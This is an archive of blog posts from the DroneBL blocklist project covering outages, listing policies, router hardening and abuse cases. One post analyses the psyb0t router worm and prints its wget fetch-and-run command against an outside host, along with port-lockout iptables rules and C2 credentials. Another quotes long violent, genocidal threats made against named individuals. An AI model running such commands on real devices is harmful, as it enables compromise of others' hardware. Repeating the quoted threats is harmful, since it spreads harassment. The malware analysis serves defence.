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Recent outage and next steps

On July 2nd the DroneBL team was alerted to a major issue affecting the website, and consequently your ability to submit and remove listings using our RPC2 API, or request manual removal of existing listings in our database.

While the cause of the outage was not immediately clear, we immediately escalated to the server sponsor who promptly engaged the provider. Their investigation identified a catastrophic hardware failure which had put the host in a soft-locked state, preventing the host from booting and further delaying us bringing the virtual server back online.

Hardware replacements were immediately requested by the sponsor, but since the hardware is owned by the sponsor and privately colocated in Europe, this took longer than anticipated. We were able to confirm replacement of the hardware on July 9th, however the new hardware introduced a configuration incompatibility with the hypervisor. This new issue was quickly resolved on July 10th, and our service has now resumed normal operation.

In response to the outage and prolonged recovery process, we're working internally to establish a disaster recovery protocol to ensure continuous uninterrupted service in the event of another catastrophic failure. Of course, there's no such thing as a sure thing, but we've got some great ideas to make things better for you (and easier on us).

Thank you for placing your trust in DroneBL.

Duck / Jul-10-2024 12:28:10 GMT / 2 comment(s) (2 moderated) / Comment

What to do in case of a vulnerable MikroTik router

DroneBL has historically seen, and continues to see, excessive numbers of exploited/vulnerable MikroTik router devices. The vast majority of these are due to since-fixed software vulnerabilities in MikroTik's firmware, as well as common misconfigurations (e.g. exposing the configuration ports to the internet). Attackers can activate various proxy options on these devices to obscure their true IP address (using your MikroTik device's IP address) to attack and spam websites and other services on the Internet. If you've been directed to this page regarding a DroneBL listing, this is probably what has happened to you.

Here's what to do if your router is vulnerable:

  1. Upgrade your router to the latest security patches provided by MikroTik. Instructions are provided on MikroTik's website here: https://help.mikrotik.com/docs/display/ROS/Upgrading+and+installation
  2. Ensure that you recognize all user accounts present on the router, and that all users have secure passwords. Here's MikroTik's documentation for managing user accounts: https://help.mikrotik.com/docs/display/ROS/User#User-RouterUsers
  3. Ensure that you recognize all of the configuration options applied to your router, especially the proxy-related options:
    1. HTTP proxy: https://wiki.mikrotik.com/wiki/Manual:IP/Proxy
    2. SOCKS proxy: https://wiki.mikrotik.com/wiki/Manual:IP/SOCKS
    3. PPTP server: https://wiki.mikrotik.com/wiki/Manual:Interface/PPTP#PPTP_Server
    4. L2TP server: https://wiki.mikrotik.com/wiki/Manual:Interface/L2TP#L2TP_Server
    5. SSTP server: https://wiki.mikrotik.com/wiki/Manual:Interface/SSTP#SSTP_Server
  4. If possible, ensure that all MikroTik IP services only accept connections from the local network, using the address= syntax: https://wiki.mikrotik.com/wiki/Manual:IP/Services
  5. Protect access to the MikroTik router with firewall rules: https://help.mikrotik.com/docs/display/ROS/Building+Your+First+Firewall

If you've been directed here due to a DroneBL listing, please reply to your ticket email once you've followed these instructions to secure your MikroTik device, and we'll check whether the problem still exists.

kbuck / Jul-04-2021 23:40:22 GMT / 7 comment(s) (6 moderated) / Comment

CNCnet (yes thai people, this post is for YOU)

Hello Thai CNC Net users,

If you are unable to play your command and conquer, red alert, or whatever coz you are being blocked by us. This has a very valid reason: your modem!. it seems to be common practice over there to buy a custom router you get 'from a friend' that allows you to temporary internet for free. they do this by looking for valid MAC adresses and reprogram the modem to use that instead of the original MAC. So what you are actually doing is use someone elses connection 9which is against the laws by the way,, it's stealing)

however, with a lot of these cloned modems, they didn't just change the mac, no, they installed a trojan in there as well, yes, a virus in your MODEM which you cannot detect with your PC, as it's elsewhere, in the thing that DELIVERS your internet, being thus able to catch ALL THE DATA going through it. This drone connects to a certain 'control server', and those bastards who did it, chose the wrong one, MINE. So I decided to create something that detects those drones and adds them automatically to this list. and this has been going on for over 2 years now, your providers in thailand have been informed, and they acknowleged, however, they are unable to deal with this issue and it  affects ALL THAI ISP's. So the listing here is NOT your doing (except if you use one of these cloned modems, then it is and you need to seriously reconsider what you are doing and at least get your firmware reflashed). Should you have a modem from your provider, then it is DHCP in action, giving you a new IP, and the entry is a leftover from the previous user.

so, if banned by us, it has NOTHING to do with cncnet banning you coz of behaviour, but because your country is technically screwed up.

-----


สวัสดีผู้ใช้งาน CNC Net จากประเทศไทย
หากคุณไม่สามารถเล่นคำสั่งและพิชิตเตือนสีแดงหรืออะไรก็ตามที่คุณกำลังถูกบล็อคโดยเรา นี่คือเหตุผลที่ถูกต้องมาก: โมเด็มของคุณ! ดูเหมือนจะเป็นเรื่องธรรมดาที่จะซื้อเราเตอร์แบบกำหนดเองที่คุณได้รับจากเพื่อนที่ช่วยให้คุณใช้อินเทอร์เน็ตชั่วคราวได้ฟรี พวกเขาทำสิ่งนี้โดยมองหาที่อยู่ MAC ที่ถูกต้องและสร้างโปรแกรมโมเด็มใหม่เพื่อใช้งานแทน MAC ดั้งเดิม ดังนั้นสิ่งที่คุณกำลังทำอยู่ก็คือใช้การเชื่อมต่อของคนอื่น 9 ซึ่งผิดกฎหมายโดยวิธีการที่มันขโมย)
อย่างไรก็ตามด้วยโมเด็มโคลนเหล่านี้จำนวนมากพวกเขาไม่เพียง แต่เปลี่ยน mac ไม่ใช่พวกเขาติดตั้งโทรจันในนั้นด้วยใช่ไวรัสใน MODEM ของคุณซึ่งคุณไม่สามารถตรวจจับได้ด้วยพีซีของคุณเหมือนที่อื่น สิ่งที่ทำให้อินเทอร์เน็ตของคุณอยู่ในสถานะที่สามารถรับข้อมูลทั้งหมดได้ เสียงพึมพำนี้เชื่อมต่อกับ 'เซิร์ฟเวอร์ควบคุม' และไอ้พวกที่ทำมันก็เลือกผิด MINE ดังนั้นฉันตัดสินใจที่จะสร้างบางสิ่งบางอย่างที่ตรวจจับโดรนและเพิ่มเข้าไปในรายการนี้โดยอัตโนมัติ และสิ่งนี้เกิดขึ้นนานกว่า 2 ปีแล้วผู้ให้บริการของคุณในประเทศไทยได้รับแจ้งและพวกเขารับทราบอย่างไรก็ตามพวกเขาไม่สามารถจัดการกับปัญหานี้และส่งผลกระทบต่อผู้ให้บริการอินเทอร์เน็ตของ THAI ทั้งหมด ดังนั้นรายชื่อที่นี่ไม่ใช่สิ่งที่คุณทำ (ยกเว้นถ้าคุณใช้หนึ่งในโมเด็มที่ลอกแบบมาเหล่านี้ดังนั้นคุณจำเป็นต้องพิจารณาสิ่งที่คุณทำอย่างจริงจัง หากคุณมีโมเด็มจากผู้ให้บริการของคุณแล้วมันเป็น DHCP ในการดำเนินการให้คุณ IP ใหม่และรายการที่เหลือจากผู้ใช้ก่อนหน้านี้
ดังนั้นถ้าเราถูกแบนก็ไม่มีอะไรเกี่ยวข้องกับ cncnet ที่จะห้ามคุณเพราะพฤติกรรม แต่เพราะประเทศของคุณถูกเมา

outsider / Jun-22-2020 11:07:50 GMT / 9 comment(s) (8 moderated) / Comment

Rsync/zonefile update

rsync users should now see buildzone.combined, in order to use this try dronebl.org:combined:buildzone.combined. This should fix some issues and allow you to use our zone with an unpatched rbldnsd instance.Since ip6trie datasets do not support duplicate entries (even if different response template is defined), ipv6 entries will only return a max of 1 reply. (I wish they would have added ip6set which would behave like ip4set allowing this), You can safely ignore the warning rbldnsd might give on startup regarding duplicate entries.

Please note that the minimum version to use is 0.998 from git://git.corpit.ru/rbldnsd.git. The debian package is too old and does not support ip6trie datasets at the time of this writing..

Also, we will be dropping the builds of the old separate files buildzone and buildzone6 per 1-1-2019, this should give people who have rsync access plenty of time to change to the new combined file.

outsider / Aug-29-2018 21:44:37 GMT / 0 comment(s) / Comment

Moar Updates ;)

Latest changes to dronebl include, but are not limited to:

outsider / Aug-04-2016 21:39:47 GMT / 0 comment(s) / Comment

The BSNL.in case

Dear users, contributors and probably affected,

For a couple of years now, a certain administrator of BSNL.in has been abusing his works network in order to harras users on IRC on various networks, circumventing bans by constantly changing his IP. The nickname he uses for this is 'enometh'.

The scale of the abuse, and the associated fact that this abuse is on the administrator level of one of the largest ISP's in India, also providing services to several goverment agencies, made us decide to add 59.92.0.0/16 to our blocklist as of March 17, 2014.

However, since he is an administrator at a quite large network (AS9829), he continues to abuse through other ranges, harrassing us with texts like these (and this is just a raw paste of the stuff I received in my personal message window on undernet):

the blood of your family be on your benefactors and the investors of dronebl who set you up to be able to add a spite entry without any abuse in the first place, you who abuse dronebl as the maintainer, may your family suffer as you caused 10s of 1000s of ISP users to suffer because of koeman's spite and your spite and may your family be holocausted off the face of this planet even in this genertation and all the properties and estates of your family and the families of the spooks and telcos that set you up be holocausted without a remnant so they are of no use whatsover to anyone or anything and no one derives any benefit from them forever and ever in the name of yahshua and almighty god
 may even the members of your family that did not bear false witness be struck down even as you bore false witness against me in the name of jesus christ almighty god may god smash the spine and break the hands and destroy the families of the spooks that set you up and your dronebl racket
 may all the maasens be holocausted just because they share the name of alexander maassen even as the whole /16 blocks you added out of spite

i have a message for your friend terrance koeman, who is still banning me on efnet
I, Suresh Madhu, do hereby swear on the name of the God who formed my soul,  there will be no peace or rest for my soul until the last Maasen and the last Koeman has been genocided off the face of this earth for all the lying false witness you both bear, and the holding companies of dronebl B.V. and B.V have been liquidated and the ddos and telco spooks that sponsored both of your families have been holocausted off with their families and estates and their telco and spook wealth, so theyre all burnt off the face of this earth forever witout anyone deriving a benefit from it forever and ever, so help me god, in the name of jesus christ who was crucified, in the name of god of justice and mercy and truth
 the only way you alexander maasen and terrence koeman will stop lying and stop abusing your spook-setup powers is when you stop breathing. god speed the date when you both cease to breathe and may god torment every family member of yours for 7 years on the deathbed for all your lies and racket that you run on dronebl
 there was no abuse and you reported abuse,may god damn to destruction your lying mouth and your propertiers and estates, may god damn the maasen family to extinction even in your goddamn generation
youre both goddamn spook and telco-banker sponsored retards sponsored because you lie without a conscience and abuse others without a conscience like your 59.92.* bans
 may god send a fire to consume you and your sponsors and all your families and wealth be burnt in that fire even in this generation even by 2017 your lying mouth wither away and die and god shatter the hands and spines of those that set you retards alexander maasen, and koeman up

for every year that spite 59.92.* fake entry dronebl entry keeps everyone using that isp off all irc servers, may EVERY MEMBER OF THE MAASSEN FAMILY BE TORMENTED 7 YEARS ON THEIR DEATHBEDS!  AND may the THE FAMILIES OF the telcos and spooks that set up alexander with dronebl and koeman with an o-line be holocausted offf the face of this planet without a remnant forever and ever"
may god break the spines and smash the bones of the hands of all the admins and opers who gave terrence koeman an o-line and may god destroy without a remnant the families of terrence koeman and holocaust the estates and properties and burn destroy from the face of the  earth the families who set up terrence koeman with the internet business

This being the latest when I did warn him to stop:
* [enometh] (chestnut@59.96.193.119): whitener
* [enometh] +#politics +#dxm #poetry @#lisp
* [enometh] *.undernet.org :The Undernet Underworld
* [enometh] idle 00:01:29, signon: Mon May 02 13:28:48

dude, just fyi, if you continue, I will add AS9829 to the list
try to hide that from your bosses
 I hope I made myself VERY clear
 try to explain to all your gov customers and buisenis clients that they are unable to mail outside india because you screwed up
 oh, and before I do that, I will warn a couple of your gov customers
 your job at bsnl will end, and your abuse of privileges there will end too
 and yes, you may quote me on that
sorry i missed your messages
 you added a fake entry, may god damn you and god damn your familty and may god damn the families of all the spooks and telcos that set you up to add fake entries to dronbel. i dont see any other way out of this
www.cs.unm.edu/~madhu/dronebl.mail.txt
nothing to hide. i will be vindicated when you and your bosses have fucked off and are dead from the face of this earth
 god damn you alexander maassen and god damn your friend terrence koeman and may god smash your spines and break your bones that let you bear false witness and may god remove without a remnant the families and utterly destroy the estates of the spooks and royal families that set you up, in the name of jesus christ
there is no technology solution to you or rapbhidae
fuck off and die in the name of jesus christ in the name of almighty god
i will know peace when those bastards who set you up in power of false witness are burning in hell

alexander maasen add  whatever you want to your list, in the name of jesus christ and almighty god who created my soul, may the hand of god destroy you and your family and the may the hand of god destroy terrence koeman and his family and may god utterly burn up your estates and the estates of those who set you two up
i hope i have made myself very clear
and may god destroy without a remnant the families and burn up the estates and livelihoods of all the bnc and irccloud operators who will get the business from your dronebl bans
alexander, i swear even as my name is madhu, this will end when you are dead and all that i have told you since you first added 59.92 to your dronebl list have come to pass.

So around may 8th 2016, we also added 117.202.80.0/20 to the list, since that was the range, he abused, this was before the last statement from him where I warned him, that if the harrassment etc continues, we might decide to block the entire AS. To make things easier, the last entry is hardcoded into our zone generator in order not to waste 4096 entries when it can be done with 1 and thus does not show in the lookup form when querying any ip in that range. If people mail me about any IP in that range, I inform them about the situation.

Now, let's breakdown the text on his site (containing his personal resume)

http://www.cs.unm.edu/~madhu/dronebl.mail.txt:

First of all, as you might have noticed, he claims to be accused of flooding and spamming, spamming is NOT the case, the reason is the continously harrasments of staff members of various networks, users of networks and evasion of bans on several IRC networks abusing his admin privileges. The stuff he puts into our privates should say enough about this guys attitude.

'These are more lies I was not aware of dronebl and did not care about it until after the 17th.'

Yet he quotes in his own text to have received a warning from Terrence Koeman (raphidae) on Mar 9 22:50:51 2014 IST.

'As the administratator of DRONEBL, I assume you were in connivance with your fellow netherlander, even before he added the entry fo 59.92/16, and in setting up these services to deny legitimate acces to paying customers by bearing false witness and spreading lies.'

Actually, it wasn't terrence who added the entry, I did, based on the logs he and others presented to me, we had a lenghty discussion about it back then with several members of the community as adding large ranges like these is not simply done.

I'd suggest you remove the block (the actual BSNL IP block is 59.92/14, which raphidae was too ignorant to understand), and stop the abuse before my appeals to the higher authority for justice in resolving this matter are heard.

Please DO contact the indian authorities on this, because (and let me abuse terrence's quote a little for that): I am >.< this close to do it myself, notifying the goverment agencies within your netblocks about you.

 

http://www.cs.unm.edu/~madhu/notes.alexander.maassen.php:

[Mon Apr 18 21:49:46 2016 -0600] - dronebl record for 59.92/16 seems to be taken out. This had been added out of spite without any actual abuse from 59.92/16 on 2014-03-17

Nope, it actually only expired after sitting in our database for over 2 years, will be readded to the zone builder as we speak. Thanks for pointing that out.

[Mon May 2 2016] - /kill on efnet by terrence koeman, (2016-05-02 11:22:08 +0530) - threat by alexander maassen (2016-05-02 17:36:28 +0530)

See the logpaste above for the full uncut version of the 'threat', what caused it to be made, and the response on it from him.

 

 

 

outsider / May-14-2016 11:28:37 GMT / 10 comment(s) (5 moderated) / Comment

The everyone.net case

Dear users, mail server administrators and affected people,

For quite some time now (spanning over more then a year), spam is being relayed through lists hosted by everyone.net:

I do realize this action affects the operation of everyone.net, but I think this is a neccessary step to protect users against this form of spam, and the ignorant blind behaviour of everyone.net has tremendously contributed to this situation.

outsider / May-13-2016 05:57:59 GMT / 6 comment(s) / Comment

DroneBL's Expiration Policy

By default, active entries do not auto-expire as we've found that many remain unfixed for multiple years. All active entries currently require that a removal request be filed against the entry. If you believe that the entry is due to a previous (not current) user of the same IP, please state this in your removal request. Removal requests can be filed using the "request removal" link beside each listing.

Administrators should take decent care of their network and should be aware of the problems in their networks in order to deal with them. Especially these days when abuse mailboxes are mostly filled up with the sender not getting any responses, we notice that keeping entries DOES have a pro-active effect. (IP's listed cannot be simply reassigned to for example business clients, as there is a high probability they will also flush their mail through that pipeline)

outsider / May-02-2016 11:52:27 GMT / 10 comment(s) (10 moderated) / Comment

Type 18 explained

A lot of requests for removal of type 18 listings claim they are due to (mail)spam.

Undernet, amongst other IRC networks gets a lot of compromized connections because some kiddie thinks to use that network as Control Server. In most cases, these are mail and or dns servers, and in most cases, the owner of the ip was smart enough to set the PTR record in dns to something, that also reflects this usage.

As of the date of this blogentry, there are already 4000 *ACTIVE* unique ip's being listed for having connected to Undernet alone, and this number is growing steadily.

Now there are two options:

My entire network does not contain IRC visitors:

In this case you DO have a problem, and something on your network contains a drone, please note that *ANYTHING* with access to generate outgoing traffic can be a source.

Yes, my network contains IRC visitors and I am 100000% everything is secure:

In this case it's most likely you use the specified IP also as gateway for your network, this is bad (as you probably already noticed) and you now got two possible solutions:

outsider / Apr-08-2016 14:31:47 GMT / 8 comment(s) (6 moderated) / Comment

Bye Bye AYAH, Welcome reCaptcha

Since the Are You a Human service is being shut down as of March 1st 2016, we updated the captch to google's reCaptcha code.

We also hope this will solve all the issues users had before with the Captcha code.

outsider / Feb-11-2016 12:23:58 GMT / 3 comment(s) (1 moderated) / Comment

Database Cleanup Time!

As of this writing we have 503091 active and 569908 non-active listings, which is quite a lot to handle. So it's time for a late spring cleaning session.

We currently run a script against the database where regarding the non-active entries, per type only the last entry will remain. All other non-active entries will be permanently removed from the database.

outsider / Jun-26-2014 13:17:59 GMT / 27 comment(s) (27 moderated) / Comment

Message to IRC Services Admins

Dear fellow irc admins,

We regulary notice that a few of you use branded lookups using network=NETWORK as parameter. Well, it would be very nice if you would change NETWORK to the NAME OF YOUR NETWORK ;)

Another thing, if you want a customized branded lookup with your logo/url/irc main server, send an email to the maintainer (thats me) and I will set it up, and again, don't forget to mention the name of your network.

Kind regards,

Alexander Maassen
Maintainer DroneBL

outsider / Jun-26-2014 13:13:56 GMT / 0 comment(s) / Comment

DroneBL issues fixed

Sorry for the downtime we had, but it turned out one of the nic's wasn't really working decently with xenserver, the ssd harddrive has been yanked out today and moved to a new enclosure (supermicro)

Many thanks to pcextreme for fixing this issue, and I hope we won't have these surprises anymore.

outsider / Aug-05-2013 11:14:23 GMT / 0 comment(s) / Comment

End of zonefile downloads through http

The amount of users fetching the zone through http have become quite a resource hog and I thought about getting rid of http downloads and moving all to rsync, which is way more effective and ensures accountability of whats really going on.

For transition purposes this won't be done immediately.

Therefore,http support for the zonefile will drop september 1st, 2013. Please switch to rsync, for more information see Rsync support

outsider / Jun-28-2013 02:53:54 GMT / 0 comment(s) / Comment

IPv6 support

Yay, finally rbldnsd has decent ipv6 support (thanks to dairiki), and we are slowly migrating our rbl mirrors to use the new version also serving up our ipv6 zone. For the moment, you'll only get a reply on those queries if RR points you to the right server for now.

outsider / Jun-28-2013 02:49:44 GMT / 0 comment(s) / Comment

Bye Bye Blogspammers

We know we had a lot of spambots filling up the blog with crap. This now ends!

After a few changes, moderation mode has been put in, meaning all posts made will need to be reviewed by a blog admin first.

A note to the spammers: Spam me and you will contribute to this list. And it's useless to try it, unless you want those kids to play games during worktime.

outsider / Jun-22-2013 12:27:02 GMT / 0 comment(s) / Comment

Rsync support

Dear users,

We now offer rsync access to the zonefiles, if you require access, send me a mail with the following details:

outsider / May-01-2013 14:07:31 GMT / 2 comment(s) (2 moderated) / Comment

Scraping updates

Scraper has been modified to do a proxycheck when it finds a ip:port pair on the scraped page, those are getting verified using rizon's proxycheck code. If no port is found, it will still add them as type 17, otherwise as the type the scanner returns.

outsider / Sep-05-2012 00:34:28 GMT / 0 comment(s) / Comment

A message to ignorant sysadmins about type 17

Dear ignorant system administrators,

Lately I am getting a lot of removal requests with comments in them that they fixed the email spam source while the reason they are listed is because their servers are usable as open proxy. The comment itself already shows you are not reading what the message above the removal request says and are simply filling in the form.

Lemme explain again what type 17 means. It is a collection of hosts found by scrapers on several proxy listing sites such as xroxy, spy.ru, several proxy blogspots, proxynova and similar sites, they or the submitters have tested your ip and found a way to use your server as proxy. They did not check if your mailserver allows relaying! So any excuse stating that you 'fixed' some spam issue is lame. Ok, it does make the recipients of the spam happy as they will no longer receive it from your servers, but not us, as the real issue why you have been listed is NOT spam. We got other classes for that (6 for example).

If you really can't find additional unwanted proc's on that box, check your damn apache if you use mod_proxy and check if thats the culprit by allowing a CONNECT statement. As you could have read in your apache documentation you should limit it in the following way (this is the case if you use stuff like chiliasp/tomcat/jsp/whatever proxied through apache):

<Proxy *>
order allow,deny
deny from all
allow from <your network>
</Proxy>

Another reason why you may have been listed as type 17 would be that an irc connection on a certain network has been found which has been associated to drone activity. So should the previous be not the case, then just fill in the removal request and ask. Also check your network for outgoing TCP connections towards ports 6667, or check if you got a process that generates IRC protocol specific requests like NICK/USER/JOIN/PRIVMSG/NOTICE/ISON using tcpdump or alikes.

Also remember that we only deal with requests from the responsible for that ip in question administrator, so if you are actually just a user on that box that wants to complain why he can't get on irc, then look in the mirror first if you know thats a proxy before even trying!

Kind regards,

Alexander Maassen
Maintainer of DroneBL

outsider / Nov-28-2011 12:53:42 GMT / 17 comment(s) (11 moderated) / Comment

BOPM Reporting reopened

We had BOPM reports disabled for the reason that authentication became a problem. In fact, anybody could have added something to the DB without anyone knowing who did it.

2 DB resets, a hack, a miserable attempt by myself to mod bopm, having reporting disabled for more then a year, having quite some people nagging and asking 'Can we do BOPM reports yet' the answer now finally is: YES YOU CAN!

Today I saw that shiny LED Bulb floating above my head and thought: Why complex if the solution can be much more simple without modding BOPM?

The solution: set dnsbl_from in the format rpckey@yourdomain et voila, problem solved.

So all you users, naggers and friends: ENJOY

outsider / Jul-14-2011 01:32:12 GMT / 0 comment(s) / Comment

Merit's RADB using DroneBL as one of their sources

A few days ago I was contacted by merit.edu regarding if it was possible to include DroneBL's database for their RADB. Since RADB has a membership list of around 1500+ Internet Service Providers/Hostings and other interresting members, we agreed in the hope to improve communications between IP administrators and reporters.

For more information about merit see http://merit.edu

For more information about radb see http://www.radb.net

outsider / May-03-2011 11:15:28 GMT / 0 comment(s) / Comment

Sorry for all the type 17's not getting added

Type 17 is an experimental class used in order to submit ip's that for example have been found during proxylist scrapes.

In order not to pollute the database with too many entries, we added a condition that they only would get added if there is currently no active listing present regarding the ip.

However, the condition added did NOT work, and thus during the last days NO type 17's where submittable to the database, this has now been fixed AND tested.

Sorry for any inconvenience caused by this.

outsider / Mar-26-2011 12:14:09 GMT / 0 comment(s) / Comment

Changes in removal

As of today, dronebl will send the removal requests to the in-db email record of the person who reported it.

In order to provide privacy to the keyholder we also wrote a small emailproxy, you can simply reply to the email using your normal client, as you will notice, it uses an email adress within the dronebl.org domain.

The emailproxy will remove the headers and recode the mail to appear from the system itself, users can also reply through that address using the same email adress.

Note: The subject has to remain intact, it's crucial that the [DroneBL #xxxx] remains in order for the proxy to lookup the addresses to send to.

Note2: Both reporter and requester have to use the email adress as used in the ticket to send from.

If there are any issues, please lemme know.

outsider / Mar-23-2011 12:52:23 GMT / 2 comment(s) (1 moderated) / Comment

AS Administration / RPC Key webmanagement

As promised, we are working on an AS Administration interface. In order to apply for it, you need a RPC Key.

AS Admins have the same privileges as normal RPC Key users, with the difference that they can easily (de)list the ip's affected within their ranges.

If you want to apply, apply for a RPC Key first, please put the following information in the justification:

We will manually verify your access to the AS before acceptance and send a verification mail to the in WHOIS noted contacts.

If you are already own a RPC Key, send me an email with above details, same restrictions apply upon adding. Please specify your rpckey as verification in that case. Or contact me on IRC.

Existing key owners can also request a username and password if they want to be able to remove some of your entries straight through the website entries that way as well.

outsider / Mar-13-2011 05:04:59 GMT / 3 comment(s) (2 moderated) / Comment

I'm pissed

Internet needs a change, providers need to react faster in these days, they need to act more responsible and faster.

There should be a mechanism as endpoint to tell another endpoint in a fast way that you don't want their traffic, without needing to make a shitload of calls or send emails. Call it reverse firewalling. But that would in my opinion be a simple solution to stop ddos. Or at least stop making you feel it's effects.

outsider / Feb-24-2011 19:15:58 GMT / 6 comment(s) / Comment

A few updates

<nenolod> you guys need moar blog updates

Good idea, however, there won't be much new blog entries as the system is pretty much self running lately. But at least lemme use this to post something about the changes that were done since William (nenolod) has left the admin ranks:

outsider / Nov-08-2010 00:06:24 GMT / 0 comment(s) / Comment

so long and thanks for all the fish

Crossposted from dronebl-discussion:

Hello,

Due to time and emotional constraints, I will be discontinuing my work on DroneBL effective immediately. Alexander Maassen will be taking over operations of DroneBL. His IRC nickname is OUTsider, and many of you already know him.

I will, however, continue to provide hosting for DroneBL until such time that the community can make appropriate alternative hosting arrangements.

This means: do not contact me about DroneBL issues going forward, I will be unable to help you.

Coming to this decision has not been an easy process. While I have enjoyed my work on the project, it has become obvious to me that it has become a mature enough project that the community can steer it's future development focus. As such, it is now time for me to begin work on other endeavours.

Regards, William Pitcock (nenolod) The DroneBL Project

Yes, it's real. I wish OUTsider all the luck in the future to ensure the stability the IRC community expects from DroneBL.

This will be my last blog entry.

nenolod / May-04-2010 09:10:29 GMT / 0 comment(s) / Comment

Possible SORBS closure

It has been brought to our attention that SORBS may be closing operations on July 20th due to the SORBS staff being unable to find new hosting arrangements.

SORBS is an essential DNS blacklist service for many users and services. Failure of this blacklist service is unacceptable at present.

Anyone who can provide help to the SORBS staff are encouraged to offer to do so.

nenolod / Jun-22-2009 23:54:50 GMT / 0 comment(s) / Comment

proxyBL

There is an interesting project called proxyBL, that is in part based on the DroneBL codebase. It crawls open proxy lists and verifies them. Verified proxies are listed in their DNSBL at dnsbl.proxybl.org.

nenolod / May-11-2009 01:11:54 GMT / 1 comment(s) / Comment

Hardware move planned for this evening

We are in the process of upgrading our hardware for the frontend. Right now we are running in a Xen VM, but the database aspect of the service has outgrown that. So, we are upgrading to an HP Proliant DL360 G3 with 15000 RPM SCSI drives.

As a result, the website will be put into maintainance mode within the next 24 hours or so, and we will be migrating the site. It will probably take an hour or so.

Update: The frontend server has been migrated successfully. The old server will be used for miscellaneous administrivia such as our mercurial repository and incoming mail.

nenolod / Apr-09-2009 01:09:29 GMT / 0 comment(s) / Comment

Network Bluepill - stealth router-based botnet has been DDoSing dronebl for the last couple of weeks

Below is a description of a botnet we found in the wild. However,

Update 4 -- Before you read anything else, read this

Am I Vulnerable?

You are only vulnerable if:

As such, 90% of the routers and modems participating in this botnet are participating due to user-error (the user themselves or otherwise). Unfortunately, it seems that some of the people covering this botnet do not understand this point, and it is making us look like a bunch of idiots.

Any device that meets the above criteria is vulnerable, including those built on custom firmware such as OpenWRT and DD-WRT. If the above criteria is not met, then the device is NOT vulnerable.

How can I tell if I have been infected?

Ports 22, 23 and 80 are blocked as part of the infection process (but NOT as part of the rootkit itself, running the rootkit itself will not alter your iptables configuration).

If these ports are blocked, you should perform a hard reset on your device, change the administrative passwords, and update to the latest firmware. These steps will remove the rootkit and ensure that your device is not reinfected.

Public Relations and Us

We deal with botnets and abusive hosts, not PR.

We are quite concerned that not many people have (there have been a few, but the majority of the people have used the 'slashdot version') contacted us, or anybody else working on this for further information or to verify if their conclusions written in their articles were correct. Many articles described this as a "end of the world, all routers are vulnerable" thing. This is simply not the case. We would prefer if you contact us if you do not understand fully now.

Commentary found on the Internet about "this rootkit is fake", or "it doesn't run on my ubuntu box", or "UPX doesn't unpack it"

Ok, first off, this binary is for MIPS-based processors, which are not X86 (the kind used in the average PC).

Secondly, this binary IS packed with UPX, but he has stripped the headers necessary to decompress it. A little time with a hex editor can get you the decompressed binary, as can just running it in qemu.

Commentary on "why isnt Law Enforcement involved"

Many botnet investigations are handled by the private sector. This is one of those investigations. If a Law Enforcement agency is interested in our work, or the work of anybody else researching this worm, then they should be encouraged to email admins@dronebl.org about it. If we have any useful information they don't already know, we will be more than happy to provide it.

Commentary on "is device X vulnerable?"

Short answer: We don't know. There are so many devices out there that we could not possibly know.

Your best bet would be to take action to upgrade the device firmware and secure any passwords if there is concern that the device may be vulnerable. Such actions will help to avoid exploitation by the worm.

The worm info itself

We have come across a botnet worm spreading around called "psyb0t". It is notable because, according to my knowledge, it:

Vulnerable devices

Infection strategy

Get a shell on the vulnerable device (methods vary). Once a shell is acquired, the bot does the following things:

# rm -f /var/tmp/udhcpc.env
# wget

If wget is present, then it uses wget to download hxxp://dweb.webhop.net/.bb/udhcpc.env , and runs it in the background.

If wget is not present, the bot looks for "busybox ftpget", and then tries falling back to a tftp client. Once it is downloaded, it launches it in the background. The following snippet is the variant it uses if it finds that wget is usable.

# wget hxxp://dweb.webhop.net/.bb/udhcpc.env -P /var/tmp && chmod +x /var/tmp/udhcpc.env && /var/tmp/udhcpc.env &
udhcpc.env 100% |*****************************| 33744 00:00 ETA

It then takes several steps to lock anybody out of the device, including blocking telnet, sshd and web ports.

# iptables -A INPUT -p tcp --dport 23 -j DROP
# iptables -A INPUT -p tcp --dport 22 -j DROP
# iptables -A INPUT -p tcp --dport 80 -j DROP

This concludes the infection process.

IRC Botnet

Command and control server: strcpy.us.to
IP: 207.155.1.5 (master controller, Windstream Communications AS16687)
IP: 202.67.218.33 (backup controller? HKnet/REACH AS?????)
Port: 5050
Password: $!0@
Channel: #mipsel
Key: %#8b
NickPattern: [NIP]-[A-Z/0-9]{9}
BotController: DRS
DroneURL: hxxp://nenolod.net/~nenolod/psyb0t/udhcpc.env (backup copy, i did not write it)

strcpy.us.to control domain nameservers: ns1.afraid.org, ns2.afraid.org, ns3.afraid.org, ns4.afraid.org [suspended]

IRC Commands

.mode <channel> <modes> - sets a mode on a channel
.login <password>       - login to the bot
.logout                 - logout
.exit                   - causes the botnet to exit and remove itself
.sh <command>           - runs <command> on shell
.tlist                  - lists all threads
.kill                   - kills a thread
.killall <pattern>      - kills threads by glob-match pattern
.silent                 - makes the bot stop sending to channel
.getip                  - show bot WAN ip address
.visit <url>            - flood URL with GET requests
.scan                   - scans a random range for vulnerable routers/modems
.rscan <range>          - scans a CIDR range for vulnerable routers/modems
.lscan                  - scans the local subnet for vulnerable routers/modems
.lrscan                 - scans a range in the local subnet for vulnerable routers/modems
.split <threadid>       - splits the workload of a scan thread into two threads
.sql <range> <url>      - scans for vulnerable MySQL servers and attempts to make them download and run URL
.pma <range> <url>      - scans for vulnerable phpMyAdmin and attempts to make them download and run URL
.sleep <secs>           - makes the bot sleep for the given time
.sel                    - ???
.esel                   - skip next part if locale is not X
.vsel                   - skip next part if version is not X
.gsel                   - ???
.rejoin [delay]         - cycle the channel after delay
.upgrade                - download new bot from the distribution site
.ver                    - returns "[PRIVATE] PSYB0T" followed by version
.rs                     - returns detected rapidshare URLs and logins
.rsgen                  - generate a bogus rapidshare login page and force user to browse to it
.rsloop <port>          - runs a webserver i/o loop on <port> as a thread
.wget <url>             - runs wget with the provided url
.r00t                   - attempts to raise effective UID using vmsplice() exploit (seems pointless)
.sflood <ip> <count>    - sends SYN packets to IP
.uflood <ip> <count>    - sends UDP packets to IP
.iflood <ip> <count>    - sends ICMP pings to IP
.pscan <ip>             - portscans IP
.fscan <ip>             - tries to bruteforce FTP server at IP

Commentary

As stated above, this is the first known botnet based on exploiting consumer network devices, such as home routers and cable/dsl modems. Many devices appear to be vulnerable. The size of this botnet so far cannot be determined.

The author of this worm has some sophisticated programming knowledge, given the nature of this executable.

Action must be taken immediately to stop this worm before it grows much larger.

